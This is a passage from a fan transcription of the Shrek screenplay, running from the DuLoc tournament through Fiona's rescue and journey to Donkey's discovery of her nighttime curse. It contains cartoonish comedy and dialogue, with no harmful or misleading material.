rows of rope to get to the front gate to get away from Shrek.) Wait a second. Look, I'm not gonna eat you. I just - - I just - - (He sighs and then begins walking straight through the rows. The attendant runs into a wall and falls down. Shrek and Donkey look at him then continue on into DuLoc.) DULOC They look around but all is quiet. SHREK It's quiet. Too quiet. Where is everybody? DONKEY Hey, look at this! Donkey runs over and pulls a lever that is attached to a box marked 'Information'. The music winds up and then the box doors open up. There are little wooden people inside and they begin to sing. WOODEN PEOPLE Welcome to DuLoc such a perfect town Here we have some rules Let us lay them down Don't make waves, stay in line And we'll get along fine DuLoc is perfect place Please keep off of the grass Shine your shoes, wipe your... face DuLoc is, DuLoc is DuLoc is perfect place. Suddenly a camera takes Donkey and Shrek's picture. DONKEY Wow! Let's do that again! (makes ready to run over and pull the lever again) SHREK (grabs Donkey's tail and holds him still) No. No. No, no, no! No. They hear a trumpet fanfare and head over to the arena. FARQUAAD Brave knights. You are the best and brightest in all the land. Today one of you shall prove himself... As Shrek and Donkey walk down the tunnel to get into the arena Donkey is humming the DuLoc theme song. SHREK All right. You're going the right way for a smacked bottom. DONKEY Sorry about that. FARQUAAD That champion shall have the honor - - no, no - - the privilege to go forth and rescue the lovely Princess Fiona from the fiery keep of the dragon. If for any reason the winner is unsuccessful, the first runner-up will take his place and so on and so forth. Some of you may die, but it's a sacrifice I am willing to make. (cheers) Let the tournament begin! (He notices Shrek) Oh! What is that? It's hideous! SHREK (turns to look at Donkey and then back at Farquaad) Ah, that's not very nice. It's just a donkey. FARQUAAD Indeed. Knights, new plan! The one who kills the ogre will be named champion! Have it him! MEN Get him! SHREK Oh, hey! Now come on! Hang on now. (bumps into a table where there are mugs of beer) CROWD Go ahead! Get him! SHREK (holds up a mug of beer) Can't we just settle this over a pint? CROWD Kill the beast! SHREK No? All right then. (drinks the beer) Come on! He takes the mug and smashes the spigot off the large barrel of beer behind him. The beer comes rushing out drenching the other men and wetting the ground. It's like mud now. Shrek slides past the men and picks up a spear that one of the men dropped. As Shrek begins to fight Donkey hops up onto one of the larger beer barrels. It breaks free of it's ropes and begins to roll. Donkey manages to squish two men into the mud. There is so much fighting going on here I'm not going to go into detail. Suffice to say that Shrek kicks butt. DONKEY Hey, Shrek, tag me! Tag me! Shrek comes over and bangs a man's head up against Donkeys. Shrek gets up on the ropes and interacts with the crowd. SHREK Yeah! A man tries to sneak up behind Shrek, but Shrek turns in time and sees him. WOMAN The chair! Give him the chair! Shrek smashes a chair over the guys back. Finally all the men are down. Donkey kicks one of them in the helmet, and the ding sounds the end of the match. The audience goes wild. SHREK Oh, yeah! Ah! Ah! Thank you! Thank you very much! I'm here till Thursday. Try the veal! Ha, ha! (laughs) The laughter stops as all of the guards turn their weapons on Shrek. HEAD GUARD Shall I give the order, sir? FARQUAAD No, I have a better idea. People of DuLoc, I give you our champion! SHREK What? FARQUAAD Congratulations, ogre. You're won the honor of embarking on a great and noble quest. SHREK Quest? I'm already in a quest, a quest to get my swamp back. FARQUAAD Your swamp? SHREK Yeah, my swamp! Where you dumped those fairy tale creatures! FARQUAAD Indeed. All right, ogre. I'll make you a deal. Go on this quest for me, and I'll give you your swamp back. SHREK Exactly the way it was? FARQUAAD Down to the last slime-covered toadstool. SHREK And the squatters? FARQUAAD As good as gone. SHREK What kind of quest? Time Lapse - Donkey and Shrek are now walking through the field heading away from DuLoc. Shrek is munching on an onion. DONKEY Let me get this straight. You're gonna go fight a dragon and rescue a princess just so Farquaad will give you back a swamp which you only don't have because he filled it full of freaks in the first place. Is that about right? SHREK You know, maybe there's a good reason donkeys shouldn't talk. DONKEY I don't get it. Why don't you just pull some of that ogre stuff on him? Throttle him, lay siege to his fortress, grinds his bones to make your bread, the whole ogre trip. SHREK Oh, I know what. Maybe I could have decapitated an entire village and put their heads on a pike, gotten a knife, cut open their spleen and drink their fluids. Does that sound good to you? DONKEY Uh, no, not really, no. SHREK For your information, there's a lot more to ogres than people think. DONKEY Example? SHREK Example? Okay, um, ogres are like onions. (he holds out his onion) DONKEY (sniffs the onion) They stink? SHREK Yes - - No! DONKEY They make you cry? SHREK No! DONKEY You leave them in the sun, they get all brown, start sproutin' little white hairs. SHREK No! Layers! Onions have layers. Ogres have layers! Onions have layers. You get it? We both have layers. (he heaves a sigh and then walks off) DONKEY (trailing after Shrek) Oh, you both have layers. Oh. {Sniffs} You know, not everybody likes onions. Cake! Everybody loves cakes! Cakes have layers. SHREK I don't care... what everyone likes. Ogres are not like cakes. DONKEY You know what else everybody likes? Parfaits. Have you ever met a person, you say, "Let's get some parfait," they say, "Hell no, I don't like no parfait"? Parfaits are delicious. SHREK No! You dense, irritating, miniature beast of burden! Ogres are like onions! And of story. Bye-bye. See ya later. DONKEY Parfaits may be the most delicious thing on the whole damn planet. SHREK You know, I think I preferred your humming. DONKEY Do you have a tissue or something? I'm making a mess. Just the word parfait make me start slobbering. They head off. There is a montage of their journey. Walking through a field at sunset. Sleeping beneath a bright moon. Shrek trying to put the campfire out the next day and having a bit of a problem, so Donkey pees on the fire to put it out. DRAGON'S KEEP Shrek and Donkey are walking up to the keep that's supposed to house Princess Fiona. It appears to look like a giant volcano. DONKEY (sniffs) Ohh! Shrek! Did you do that? You gotta warn somebody before you just crack one off. My mouth was open and everything. SHREK Believe me, Donkey, if it was me, you'd be dead. (sniffs) It's brimstone. We must be getting close. DONKEY Yeah, right, brimstone. Don't be talking about it's the brimstone. I know what I smell. It wasn't no brimstone. It didn't come off no stone neither. They climb up the side of the volcano/keep and look down. There is a small piece of rock right in the center and that is where the castle is. It is surrounded by boiling lava. It looks very foreboding. SHREK Sure, it's big enough, but look at the location. (laughs...then the laugh turns into a groan) DONKEY Uh, Shrek? Uh, remember when you said ogres have layers? SHREK Oh, aye. DONKEY Well, I have a bit of a confession to make. Donkeys don't have layers. We wear our fear right out there on our sleeves. SHREK Wait a second. Donkeys don't have sleeves. DONKEY You know what I mean. SHREK You can't tell me you're afraid of heights. DONKEY No, I'm just a little uncomfortable about being on a rickety bridge over a boiling like of lava! SHREK Come on, Donkey. I'm right here beside ya, okay? For emotional support., we'll just tackle this thing together one little baby step at a time. DONKEY Really? SHREK Really, really. DONKEY Okay, that makes me feel so much better. SHREK Just keep moving. And don't look down. DONKEY Okay, don't look down. Don't look down. Don't look down. Keep on moving. Don't look down. (he steps through a rotting board and ends up looking straight down into the lava) Shrek! I'm lookin' down! Oh, God, I can't do this! Just let me off, please! SHREK But you're already halfway. DONKEY But I know that half is safe! SHREK Okay, fine. I don't have time for this. You go back. DONKEY Shrek, no! Wait! SHREK Just, Donkey - - Let's have a dance then, shall me? (bounces and sways the bridge) DONKEY Don't do that! SHREK Oh, I'm sorry. Do what? Oh, this? (bounces the bridge again) DONKEY Yes, that! SHREK Yes? Yes, do it. Okay. (continues to bounce and sway as he backs Donkey across the bridge) DONKEY No, Shrek! No! Stop it! SHREK You said do it! I'm doin' it. DONKEY I'm gonna die. I'm gonna die. Shrek, I'm gonna die. (steps onto solid ground) Oh! SHREK That'll do, Donkey. That'll do. (walks towards the castle) DONKEY Cool. So where is this fire-breathing pain-in-the-neck anyway? SHREK Inside, waiting for us to rescue her. (chuckles) DONKEY I was talkin' about the dragon, Shrek. INSIDE THE CASTLE DONKEY You afraid? SHREK No. DONKEY But... SHREK Shh. DONKEY Oh, good. Me neither. (sees a skeleton and gasps) 'Cause there's nothin' wrong with bein' afraid. Fear's a sensible response to an unfamiliar situation. Unfamiliar dangerous situation, I might add. With a dragon that breathes fire and eats knights and breathes fire, it sure doesn't mean you're a coward if you're a little scared. I sure as heck ain't no coward. I know that. SHREK Donkey, two things, okay? Shut ... up. Now go over there and see if you can find any stairs. DONKEY Stairs? I thought we was lookin' for the princess. SHREK (putting on a helmet) The princess will be up the stairs in the highest room in the tallest tower. DONKEY What makes you think she'll be there? SHREK I read it in a book once. (walks off) DONKEY Cool. You handle the dragon. I'll handle the stairs. I'll find those stairs. I'll whip their butt too. Those stairs won't know which way they're goin'. (walks off) EMPTY ROOM Donkey is still talking to himself as he looks around the room. DONKEY I'm gonna take drastic steps. Kick it to the curb. Don't mess with me. I'm the stair master. I've mastered the stairs. I wish I had a step right here. I'd step all over it. ELSEWHERE Shrek spots a light in the tallest tower window. SHREK Well, at least we know where the princess is, but where's the... DONKEY (os) Dragon! Donkey gasps and takes off running as the dragon roars again. Shrek manages to grab Donkey out of the way just as the dragon breathes fire. SHREK Donkey, look out! (he manages to get a hold of the dragons tail and holds on) Got ya! The dragon gets irritated at this and flicks it's tail and Shrek goes flying through the air and crashes through the roof of the tallest tower. Fiona wakes up with a jerk and looks at him lying on the floor. DONKEY Oh! Aah! Aah! Donkey get cornered as the Dragon knocks away all but a small part of the bridge he's on. DONKEY No. Oh, no, No! (the dragon roars) Oh, what large teeth you have. (the dragon growls) I mean white, sparkling teeth. I know you probably hear this all time from your food, but you must bleach, 'cause that is one dazzling smile you got there. Do I detect a hint of minty freshness? And you know what else? You're - - You're a girl dragon! Oh, sure! I mean, of course you're a girl dragon. You're just reeking of feminine beauty. (the dragon begins fluttering her eyes at him) What's the matter with you? You got something in your eye? Ohh. Oh. Oh. Man, I'd really love to stay, but you know, I'm, uh...(the dragon blows a smoke ring in the shape of a heart right at him, and he coughs) I'm an asthmatic, and I don't know if it'd work out if you're gonna blow smoke rings. Shrek! (the dragon picks him up with her teeth and carries him off) No! Shrek! Shrek! Shrek! FIONA'S ROOM Shrek groans as he gets up off the floor. His back is to Fiona so she straightens her dress and lays back down on the bed. She then quickly reaches over and gets the bouquet of flowers off the side table. She then lays back down and appears to be asleep. Shrek turns and goes over to her. He looks down at Fiona for a moment and she puckers her lips. Shrek takes her by the shoulders and shakes her away. FIONA Oh! Oh! SHREK Wake up! FIONA What? SHREK Are you Princess Fiona? FIONA I am, awaiting a knight so bold as to rescue me. SHREK Oh, that's nice. Now let's go! FIONA But wait, Sir Knight. This be-ith our first meeting. Should it not be a wonderful, romantic moment? SHREK Yeah, sorry, lady. There's no time. FIONA Hey, wait. What are you doing? You should sweep me off my feet out yonder window and down a rope onto your valiant steed. SHREK You've had a lot of time to plan this, haven't you? FIONA (smiles) Mm-hmm. Shrek breaks the lock on her door and pulls her out and down the hallway. FIONA But we have to savor this moment! You could recite an epic poem for me. A ballad? A sonnet! A limerick? Or something! SHREK I don't think so. FIONA Can I at least know the name of my champion? SHREK Uh, Shrek. FIONA Sir Shrek. (clears throat and holds out a handkerchief) I pray that you take this favor as a token of my gratitude. SHREK Thanks! Suddenly they hear the dragon roar. FIONA (surprised)You didn't slay the dragon? SHREK It's on my to-do list. Now come on! (takes off running and drags Fiona behind him.) FIONA But this isn't right! You were meant to charge in, sword drawn, banner flying. That's what all the other knights did. SHREK Yeah, right before they burst into flame. FIONA That's not the point. (Shrek suddenly stops and she runs into him.) Oh! (Shrek ignores her and heads for a wooden door off to the side.) Wait. Where are you going? The exit's over there. SHREK Well, I have to save my ass. FIONA What kind of knight are you? SHREK One of a kind. (opens the door into the throne room) DONKEY (os) Slow down. Slow down, baby, please. I believe it's healthy to get to know someone over a long period of time. Just call me old-fashioned. (laughs worriedly) (we see him up close and from a distance as Shrek sneaks into the room) I don't want to rush into a physical relationship. I'm not emotionally ready for a commitment of, uh, this - - Magnitude really is the word I'm looking for. Magnitude- - Hey, that is unwanted physical contact. Hey, what are you doing? Okay, okay. Let's just back up a little and take this one step at a time. We really should get to know each other first as friends or pen pals. I'm on the road a lot, but I just love receiving cards - - I'd really love to stay, but - - Don't do that! That's my tail! That's my personal tail. You're gonna tear it off. I don't give permission - - What are you gonna do with that? Hey, now. No way. No! No! No, no! No. No, no, no. No! Oh! Shrek grabs a chain that's connected to the chandelier and swings toward the dragon. He misses and he swings back again. He looks up and spots that the chandelier is right above the dragons head. He pulls on the chain and it releases and he falls down and bumps Donkey out of the way right as the dragon is about to kiss him. Instead the dragon kisses Shreks' butt. She opens her eyes and roars. Shrek lets go of the chain and the chandelier falls onto her head, but it's too big and it goes over her head and forms a sort of collar for her. She roars again and Shrek and Donkey take off running. Very 'Matrix' style. Shrek grabs Donkey and then grabs Princess Fiona as he runs past her. DONKEY Hi, Princess! FIONA It talks! SHREK Yeah, it's getting him to shut up that's the trick. They all start screaming as the dragon gains on them. Shrek spots a descending slide and jumps on. But unfortunately there is a crack in the stone and it hits Shrek right in the groin. His eyes cross and as he reaches the bottom of the slide he stumbles off and walks lightly. SHREK Oh! Shrek gets them close to the exit and sets down Donkey and Fiona. SHREK Okay, you two, heard for the exit! I'll take care of the dragon. Shrek grabs a sword and heads back toward the interior of the castle. He throws the sword down in between several overlapping chain links. The chain links are attached to the chandelier that is still around the dragons neck. SHREK (echoing) Run! They all take off running for the exit with the dragon in hot pursuit. They make it to the bridge and head across. The dragons breathes fire and the bridge begins to burn. They all hang on for dear life as the ropes holding the bridge up collapse. They are swung to the other side. As they hang upside down they look in horror as the dragon makes to fly over the boiling lava to get them. But suddenly the chandelier with the chain jerk the dragon back and she's unable to get to them. Our gang climbs quickly to safety as the dragon looks angry and then gives a sad whimper as she watches Donkey walk away. FIONA (sliding down the 'volcano' hill) You did it! You rescued me! You're amazing. (behind her Donkey falls down the hill) You're - - You're wonderful. You're... (turns and sees Shrek fall down the hill and bump into Donkey) a little unorthodox I'll admit. But thy deed is great, and thy heart is pure. I am eternally in your debt. (Donkey clears his throat.) And where would a brave knight be without his noble steed? DONKEY I hope you heard that. She called me a noble steed. She think I'm a steed. FIONA The battle is won. You may remove your helmet, good Sir Knight. SHREK Uh, no. FIONA Why not? SHREK I have helmet hair. FIONA Please. I would'st look upon the face of my rescuer. SHREK No, no, you wouldn't - - 'st. FIONA But how will you kiss me? SHREK What? (to Donkey) That wasn't in the job description. DONKEY Maybe it's a perk. FIONA No, it's destiny. Oh, you must know how it goes. A princess locked in a tower and beset by a dragon is rescued by a brave knight, and then they share true love's first kiss. DONKEY Hmm? With Shrek? You think- - Wait. Wait. You think that Shrek is you true love? FIONA Well, yes. Both Donkey and Shrek burst out laughing. DONKEY You think Shrek is your true love! FIONA What is so funny? SHREK Let's just say I'm not your type, okay?Fiona: Of course, you are. You're my rescuer. Now - - Now remove your helmet. SHREK Look. I really don't think this is a good idea. FIONA Just take off the helmet. SHREK I'm not going to. FIONA Take it off. SHREK No! FIONA Now! SHREK Okay! Easy. As you command. Your Highness. (takes off his helmet) FIONA You- - You're a- - an ogre. SHREK Oh, you were expecting Prince Charming. FIONA Well, yes, actually. Oh, no. This is all wrong. You're not supposed to be an ogre. SHREK Princess, I was sent to rescue you by Lord Farquaad, okay? He is the one who wants to marry you. FIONA Then why didn't he come rescue me? SHREK Good question. You should ask him that when we get there. FIONA But I have to be rescued by my true love, not by some ogre and his- - his pet. DONKEY Well, so much for noble steed. SHREK You're not making my job any easier. FIONA I'm sorry, but your job is not my problem. You can tell Lord Farquaad that if he wants to rescue me properly, I'll be waiting for him right here. SHREK Hey! I'm no one's messenger boy, all right? (ominous) I'm a delivery boy. (he swiftly picks her up and swings her over his shoulder like she was a sack of potatoes) FIONA You wouldn't dare. Put me down! SHREK Ya comin', Donkey? DONKEY I'm right behind ya. FIONA Put me down, or you will suffer the consequences! This is not dignified! Put me down! WOODS A little time has passed and Fiona has calmed down. She just hangs there limply while Shrek carries her. DONKEY Okay, so here's another question. Say there's a woman that digs you, right, but you don't really like her that way. How do you let her down real easy so her feelings aren't hurt, but you don't get burned to a crisp and eaten? FIONA You just tell her she's not your true love. Everyone knows what happens when you find your...(Shrek drops her on the ground) Hey! The sooner we get to DuLoc the better. DONKEY You're gonna love it there, Princess. It's beautiful! FIONA And what of my groom-to-be? Lord Farquaad? What's he like? SHREK Let me put it this way, Princess. Men of Farquaad's stature are in short supply. (he and Donkey laugh) Shrek then proceeds to splash water onto his face to wash off the dust and grime. DONKEY I don't know. There are those who think little of him. (they laugh again) Fiona: Stop it. Stop it, both of you. You're just jealous you can never measure up to a great ruler like Lord Farquaad. SHREK Yeah, well, maybe you're right, Princess. But I'll let you do the "measuring" when you see him tomorrow. FIONA (looks at the setting sun) Tomorrow? It'll take that long? Shouldn't we stop to make camp? SHREK No, that'll take longer. We can keep going. FIONA But there's robbers in the woods. DONKEY Whoa! Time out, Shrek! Camp is starting to sound good. SHREK Hey, come on. I'm scarier than anything we're going to see in this forest. FIONA I need to find somewhere to camp now! Both Donkey and Shrek's ears lower as they shrink away from her. MOUNTAIN CLIFF Shrek has found a cave that appears to be in good order. He shoves a stone boulder out of the way to reveal the cave. SHREK Hey! Over here. DONKEY Shrek, we can do better than that. I don't think this is fit for a princess. FIONA No, no, it's perfect. It just needs a few homey touches. SHREK Homey touches? Like what? (he hears a tearing noise and looks over at Fiona who has torn the bark off of a tree.) FIONA A door? Well, gentlemen, I bid thee good night. (goes into the cave and puts the bark door up behind her) DONKEY You want me to read you a bedtime story? I will. FIONA (os) I said good night! Shrek looks at Donkey for a second and then goes to move the boulder back in front of the entrance to the cave with Fiona still inside. DONKEY Shrek, What are you doing? SHREK (laughs) I just- - You know - - Oh, come on. I was just kidding. LATER THAT NIGHT Shrek and Donkey are sitting around a campfire. They are staring up into the sky as Shrek points out certain star constellations to Donkey. SHREK And, uh, that one, that's Throwback, the only ogre to ever spit over three wheat fields. DONKEY Right. Yeah. Hey, can you tell my future from these stars? SHREK The stars don't tell the future, Donkey. They tell stories. Look, there's Bloodnut, the Flatulent. You can guess what he's famous for. DONKEY I know you're making this up. SHREK No, look. There he is, and there's the group of hunters running away from his stench. DONKEY That ain't nothin' but a bunch of little dots. SHREK You know, Donkey, sometimes things are more than they appear. Hmm? Forget it. DONKEY (heaves a big sigh) Hey, Shrek, what we gonna do when we get our swamp anyway? SHREK Our swamp? DONKEY You know, when we're through rescuing the princess. SHREK We? Donkey, there's no "we". There's no "our". There's just me and my swamp. The first thing I'm gonna do is build a ten-foot wall around my land. DONKEY You cut me deep, Shrek. You cut me real deep just now. You know what I think? I think this whole wall thing is just a way to keep somebody out. SHREK No, do ya think? DONKEY Are you hidin' something? SHREK Never mind, Donkey. DONKEY Oh, this is another one of those onion things, isn't it? SHREK No, this is one of those drop-it and leave-it alone things. DONKEY Why don't you want to talk about it? SHREK Why do you want to talk about it? DONKEY Why are you blocking? SHREK I'm not blocking. DONKEY Oh, yes, you are. SHREK Donkey, I'm warning you. DONKEY Who you trying to keep out? SHREK Everyone! Okay? DONKEY (pause) Oh, now we're gettin' somewhere. (grins) At this point Fiona pulls the 'door' away from the entrance to the cave and peaks out. Neither of the guys see her. SHREK Oh! For the love of Pete! (gets up and walks over to the edge of the cliff and sits down) DONKEY What's your problem? What you got against the whole world anyway? SHREK Look, I'm not the one with the problem, okay? It's the world that seems to have a problem with me. People take one look at me and go. "Aah! Help! Run! A big, stupid, ugly ogre!" They judge me before they even know me. That's why I'm better off alone. DONKEY You know what? When we met, I didn't think you was just a big, stupid, ugly ogre. SHREK Yeah, I know. DONKEY So, uh, are there any donkeys up there? SHREK Well, there's, um, Gabby, the Small and Annoying. DONKEY Okay, okay, I see it now. The big shiny one, right there. That one there? Fiona puts the door back. SHREK That's the moon. DONKEY Oh, okay. DuLoc - Farquaad's Bedroom The camera pans over a lot of wedding stuff. Soft music plays in the background. Farquaad is in bed, watching as the Magic Mirror shows him Princess Fiona. FARQUAAD Again, show me again. Mirror, mirror, show her to me. Show me the princess. MIRROR Hmph. The Mirror rewinds and begins to play again from the beginning. FARQUAAD Ah. Perfect. Farquaad looks down at his bare chest and pulls the sheet up to cover himself as though Fiona could see him as he gazes sheepishly at her image in the mirror. MORNING Fiona walks out of the cave. She glances at Shrek and Donkey who are still sleeping. She wanders off into the woods and comes across a blue bird. She begins to sing. The bird sings along with her. She hits higher and higher notes and the bird struggles to keep up with her. Suddenly the pressure of the note is too big and the bird explodes. Fiona looks a little sheepish, but she eyes the eggs that the bird left behind. Time lapse, Fiona is now cooking the eggs for breakfast. Shrek and Donkey are still sleeping. Shrek wakes up and looks at Fiona. Donkey's talking in his sleep. DONKEY (quietly) Mmm, yeah, you know I like it like that. Come on, baby. I said I like it. SHREK Donkey, wake up. (shakes him) DONKEY Huh? What? SHREK Wake up. DONKEY What? (stretches and yawns) FIONA Good morning. Hm, how do you like your eggs? DONKEY Oh, good morning, Princess! Fiona gets up and sets the eggs down in front of them. SHREK What's all this about? FIONA You know, we kind of got off to a bad start yesterday. I wanted to make it up to you. I mean, after all, you did rescue me. SHREK Uh, thanks. Donkey sniffs the eggs and licks his lips. FIONA Well, eat up. We've got a big day ahead of us. (walks off) LATER They are once again on their way. They are walking through the forest. Shrek belches. DONKEY Shrek! SHREK What? It's a compliment. Better out than in, I always say. (laughs) DONKEY Well, it's no way to behave in front of a princess. Fiona belches FIONA Thanks. DONKEY She's as nasty as you are. SHREK (chuckles) You know, you're not exactly what I expected. FIONA Well, maybe you shouldn't judge people before you get to know them. She smiles and then continues walking, singing softly. Suddenly from out of nowhere, a man swings down and swoops Fiona up into a tree. ROBIN HOOD La liberte! Hey! SHREK Princess! FIONA (to Robin Hood) What are you doing? ROBIN HOOD Be still, mon cherie, for I am you savior! And I am rescuing you from this green...(kisses up her arm while Fiona pulls back in disgust)...beast. SHREK Hey! That's my princess! Go find you own! ROBIN HOOD Please, monster! Can't you see I'm a little busy here? FIONA (getting fed up) Look, pal, I don't know who you think you are! ROBIN HOOD Oh! Of course! Oh, how rude. Please let me introduce myself. Oh, Merry Men. (laughs) Suddenly an accordion begins to play and the Merry men pop out from the bushes. They begin to sing Robin's theme song. MERRY MEN Ta, dah, dah, dah, whoo. ROBIN HOOD I steal from the rich and give to the needy. MERRY MEN He takes a wee percentage, ROBIN HOOD But I'm not greedy. I rescue pretty damsels, man, I'm good. MERRY MEN What a guy, Monsieur Hood. ROBIN HOOD Break it down. I like an honest fight and a saucy little maid... MERRY MEN What he's basically saying is he likes to get... ROBIN HOOD Paid. So...When an ogre in the bush grabs a lady by the tush. That's bad. MERRY MEN That's bad. ROBIN HOOD When a beauty's with a beast it makes me awfully mad. MERRY MEN He's mad, he's really, really mad. ROBIN HOOD I'll take my blade and ram it through your heart, keep your eyes on me, boys 'cause I'm about to start... There is a grunt as Fiona swings down from the tree limb and knocks Robin Hood unconscious. FIONA Man, that was annoying! Shrek looks at her in admiration. MERRY MAN Oh, you little- - (shoots an arrow at Fiona but she ducks out of the way) The arrow flies toward Donkey who jumps into Shrek's arms to get out of the way. The arrow proceeds to just bounce off a tree. Another fight sequence begins and Fiona gives a karate yell and then proceeds to beat the crap out of the Merry Men. There is a very interesting 'Matrix' moment here when Fiona pauses in mid-air to fix her hair. Finally all of the Merry Men are down, and Fiona begins walking away. FIONA Uh, shall we? SHREK Hold the phone. (drops Donkey and begins walking after Fiona) Oh! Whoa, whoa, whoa. Hold on now. Where did that come from? FIONA What? SHREK That! Back there. That was amazing! Where did you learn that? FIONA Well...(laughs) when one lives alone, uh, one has to learn these things in case there's a...(gasps and points) there's an arrow in your butt! SHREK What? (turns and looks) Oh, would you look at that? (he goes to pull it out but flinches because it's tender) FIONA Oh, no. This is all my fault. I'm so sorry. DONKEY (walking up) Why? What's wrong? FIONA Shrek's hurt. DONKEY Shrek's hurt. Shrek's hurt? Oh, no, Shrek's gonna die. SHREK Donkey, I'm okay. DONKEY You can't do this to me, Shrek. I'm too young for you to die. Keep you legs elevated. Turn your head and cough. Does anyone know the Heimlich? FIONA Donkey! Calm down. If you want to help Shrek, run into the woods and find me a blue flower with red thorns. DONKEY Blue flower, red thorns. Okay, I'm on it. Blue flower, red thorns. Don't die Shrek. If you see a long tunnel, stay away from the light! SHREK & FIONA Donkey! DONKEY Oh, yeah. Right. Blue flower, red thorns. (runs off) SHREK What are the flowers for? FIONA (like it's obvious) For getting rid of Donkey. SHREK Ah. FIONA Now you hold still, and I'll yank this thing out. (gives the arrow a little pull) SHREK (jumps away) Ow! Hey! Easy with the yankin'. As they continue to talk Fiona keeps going after the arrow and Shrek keeps dodging her hands. FIONA I'm sorry, but it has to come out. SHREK No, it's tender. FIONA Now, hold on. SHREK What you're doing is the opposite of help. FIONA Don't move. SHREK Look, time out. FIONA Would you...(grunts as Shrek puts his hand over her face to stop her from getting at the arrow) Okay. What do you propose we do? ELSEWHERE Donkey is still looking for the special flower. DONKEY Blue flower, red thorns. Blue flower, red thorns. Blue flower, red thorns. This would be so much easier if I wasn't color-blind! Blue flower, red thorns. SHREK (os) Ow! DONKEY Hold on, Shrek! I'm comin'! (rips a flower off a nearby bush that just happens to be a blue flower with red thorns) THE FOREST PATH SHREK Ow! Not good. FIONA Okay. Okay. I can nearly see the head. (Shrek grunts as she pulls) It's just about... SHREK Ow! Ohh! (he jerks and manages to fall over with Fiona on top of him) DONKEY Ahem. SHREK (throwing Fiona off of him) Nothing happend. We were just, uh - - DONKEY Look, if you wanted to be alone, all you had to do was ask. Okay? SHREK Oh, come on! That's the last thing on my mind. The princess here was just- - (Fiona pulls the arrow out) Ugh! (he turns to look at Fiona who holds up the arrow with a smile) Ow! DONKEY Hey, what's that? (nervous chuckle) That's...is that blood? Donkey faints. Shrek walks over and picks him up as they continue on their way. There is a montage of scenes as the group heads back to DuLoc. Shrek crawling up to the top of a tree to make it fall over a small brook so that Fiona won't get wet. Shrek then gets up as Donkey is just about to cross the tree and the tree swings back into it's upright position and Donkey flies off. Shrek swatting and a bunch of flies and mosquitoes. Fiona grabs a nearby spiderweb that's on a tree branch and runs through the field swinging it around to catch the bugs. She then hands it to Shrek who begins eating like it's a treat. As he walks off she licks her fingers. Shrek catching a toad and blowing it up like a balloon and presenting it to Fiona. Fiona catching a snake, blowing it up, fashioning it into a balloon animal and presenting it to Shrek. The group arriving at a windmill that is near DuLoc. WINDMILL SHREK There it is, Princess. Your future awaits you. FIONA That's DuLoc? DONKEY Yeah, I know. You know, Shrek thinks Lord Farquaad's compensating for something, which I think means he has a really...(Shrek steps on his hoof) Ow! SHREK Um, I, uh- - I guess we better move on. FIONA Sure. But, Shrek? I'm - - I'm worried about Donkey. SHREK What? FIONA I mean, look at him. He doesn't look so good. DONKEY What are you talking about? I'm fine. FIONA (kneels to look him in the eyes) That's what they always say, and then next thing you know, you're on your back. (pause) Dead. SHREK You know, she's right. You look awful. Do you want to sit down? FIONA Uh, you know, I'll make you some tea. DONKEY I didn't want to say nothin', but I got this twinge in my neck, and when I turn my head like this, look, (turns his neck in a very sharp way until his head is completely sideways) Ow! See? SHREK Who's hungry? I'll find us some dinner. FIONA I'll get the firewood. DONKEY Hey, where you goin'? Oh, man, I can't feel my toes! (looks down and yelps) I don't have any toes! I think I need a hug. SUNSET Shrek has built a fire and is cooking the rest of dinner while Fiona eats. FIONA Mmm. This is good. This is really good. What is this? SHREK Uh, weed rat. Rotisserie style. FIONA No kidding. Well, this is delicious. SHREK Well, they're also great in stews. Now, I don't mean to brag, but I make a mean weed rat stew. (chuckles) Fiona looks at DuLoc and sighs. FIONA I guess I'll be dining a little differently tomorrow night. SHREK Maybe you can come visit me in the swamp sometime. I'll cook all kind of stuff for you. Swamp toad soup, fish eye tartare - - you name it. FIONA (smiles) I'd like that. They smiles at each other. SHREK Um, Princess? FIONA Yes, Shrek? SHREK I, um, I was wondering...are you...(sighs) Are you gonna eat that? DONKEY (chuckles) Man, isn't this romantic? Just look at that sunset. FIONA (jumps up) Sunset? Oh, no! I mean, it's late. I-It's very late. SHREK What? DONKEY Wait a minute. I see what's goin' on here. You're afraid of the dark, aren't you? FIONA Yes! Yes, that's it. I'm terrified. You know, I'd better go inside. DONKEY Don't feel bad, Princess. I used to be afraid of the dark, too, until - - Hey, no, wait. I'm still afraid of the dark. Shrek sighs FIONA Good night. SHREK Good night. Fiona goes inside the windmill and closes the door. Donkey looks at Shrek with a new eye. DONKEY Ohh! Now I really see what's goin' on here. SHREK Oh, what are you talkin' about? DONKEY I don't even wanna hear it. Look, I'm an animal, and I got instincts. And I know you two were diggin' on each other. I could feel it. SHREK You're crazy. I'm just bringing her back to Farquaad. DONKEY Oh, come on, Shrek. Wake up and smell the pheromones. Just go on in and tell her how you feel. SHREK I- - There's nothing to tell. Besides, even if I did tell her that, well, you know - - and I'm not sayin' I do 'cause I don't - - she's a princess, and I'm - - DONKEY An ogre? SHREK Yeah. An ogre. DONKEY Hey, where you goin'? SHREK To get... move firewood. (sighs) Donkey looks over at the large pile of firewood there already is. TIME LAPSE Donkey opens the door to the Windmill and walks in. Fiona is nowhere to be seen. DONKEY Princess? Princess Fiona? Princess, where are you? Princess? Fiona looks at Donkey from the shadows, but we can't see her. DONKEY It's very spooky in here. I ain't playing no games. Suddenly Fiona falls from the railing. She gets up only she doesn't look like herself. She looks like an ogre and Donkey starts freaking out. DONKEY Aah! FIONA Oh, no! DONKEY No, help! FIONA Shh! DONKEY Shrek! Shrek! Shrek! FIONA No, it's okay. It's okay. DONKEY What did you do with the princess? FIONA Donkey, I'm the princess. DONKEY Aah! FIONA It's me, in this body. DONKEY Oh, my God! You ate the princess. (to her stomach) Can you hear me? FIONA Donkey! DONKEY (still aimed at her stomach) Listen, keep breathing! I'll get you out of there! FIONA No! DONKEY Shrek! Shrek! Shrek! FIONA Shh. DONKEY Shrek! FIONA This is me. Donkey looks into her eyes as she pets his muzzle, and he quiets down. DONKEY Princess? What happened to you? You're, uh, uh, uh, different. FIONA I'm ugly, okay? DONKEY Well, yeah! Was it something you ate? 'Cause I told Shrek those rats was a bad idea. You are what you eat, I said. Now - - FIONA No. I - - I've been this way as long as I can remember. DONKEY What do you mean? Look, I ain't never seen you like this before. FIONA It only happens when sun goes down. "By night one way, by day another. This shall be the norm... until you find true love's first kiss... and then take love's true form." DONKEY Ah, that's beautiful. I didn't know you wrote poetry. FIONA It's a spell. (sigh) When I was a little girl, a witch cast a spell on me. Every night I become this. This horrible, ugly beast! I was placed in a tower to await the day my true love would rescue me. That's why I have to marry 